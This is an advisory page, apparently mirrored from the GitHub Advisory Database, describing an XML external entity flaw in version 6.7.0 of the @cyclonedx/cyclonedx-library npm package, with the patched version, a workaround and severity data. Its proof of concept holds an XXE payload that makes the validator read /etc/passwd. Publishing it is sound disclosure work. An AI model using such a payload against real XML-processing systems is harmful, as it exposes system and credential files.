Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS0zOGdmLXJoMnctZ21qN84AA74H

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/[email protected] .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

Permalink: https://github.com/advisories/GHSA-38gf-rh2w-gmj7
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOGdmLXJoMnctZ21qN84AA74H
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 11 days ago
Updated: 5 days ago


CVSS Score: 8.1
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-38gf-rh2w-gmj7, CVE-2024-34345
References: Repository: https://github.com/CycloneDX/cyclonedx-javascript-library
Blast Radius: 7.7

Affected Packages

npm:@cyclonedx/cyclonedx-library
Dependent packages: 8
Dependent repositories: 9
Downloads: 334,834 last month
Affected Version Ranges: = 6.7.0
Fixed in: 6.7.1
All affected versions: 6.7.0
All unaffected versions: 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.1.0, 1.2.0, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4, 1.4.0, 1.4.1, 1.4.2, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.8.0, 1.9.0, 1.9.1, 1.9.2, 1.10.0, 1.11.0, 1.12.0, 1.12.1, 1.12.2, 1.13.0, 1.13.1, 1.13.2, 1.13.3, 1.14.0, 2.0.0, 2.1.0, 3.0.0, 4.0.0, 5.0.0, 6.0.0, 6.1.0, 6.1.1, 6.1.2, 6.1.3, 6.2.0, 6.3.0, 6.3.1, 6.3.2, 6.4.0, 6.4.1, 6.4.2, 6.5.0, 6.5.1, 6.6.0, 6.6.1, 6.7.1, 6.7.2, 6.8.0